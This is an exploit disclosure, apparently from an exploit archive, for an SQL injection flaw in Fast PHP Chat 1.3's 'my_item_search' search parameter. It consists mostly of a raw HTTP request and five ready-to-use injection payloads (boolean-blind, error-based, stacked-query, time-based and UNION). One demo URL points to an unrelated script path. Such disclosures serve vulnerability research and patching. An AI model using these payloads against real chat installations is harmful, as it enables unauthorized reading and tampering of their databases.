Fast PHP Chat 1.3 - (my_item_search) SQL Injection Vulnerability

# Exploit Title: Fast PHP Chat 1.3 - 'my_item_search' SQL Injection
# Exploit Author: Fatih Coskun
# Vendor Homepage: https://codecanyon.net/item/fast-php-chat-responsive-live-ajax-chat/10721076
# Version: 1.3
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands from search section with 'my_item_search' parameter.
====================================================

# PoC : SQLi :

POST /chat/edit.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/chat/edit.php
Cookie: PHPSESSID=9a04fe702b8ff82c1199590d7c286e1c;
_ga=GA1.2.1275939122.1527132107; _gid=GA1.2.1709883568.1527132107
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
my_item_search=test&submit_search=Search


Parameter : my_item_search

     Type : boolean-based blind
     Demo : https://localhost/chat/edit.php
  Payload : my_item_search=-2454' OR 6122=6122#&submit=Search

     Type : error-based
     Demo : https://localhost/chat/edit.php
  Payload : my_item_search=test' AND (SELECT 3274 FROM(SELECT
COUNT(*),CONCAT(0x71706a7071,(SELECT
(ELT(3274=3274,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hbeW&submit=Search

     Type : stacked queries
     Demo : https://localhost/chat/edit.php
  Payload : my_item_search=test';SELECT SLEEP(5)#&submit=Search

     Type : AND/OR time-based blind
     Demo : https://localhost/login-script-demo/users.php
  Payload : my_item_search=test' OR SLEEP(5)-- mlod&submit=Search

     Type : UNION query
     Demo : https://localhost/chat/edit.php
  Payload : my_item_search=test' UNION ALL SELECT
NULL,CONCAT(0x71706a7071,0x4c5a6241667667676e4f6658775348795675704b557871675a5542646273574e5359776668534a71,0x7162716b71),NULL,NULL,NULL,NULL#&submit=Search

====================================================

#  0day.today [2021-10-25]  #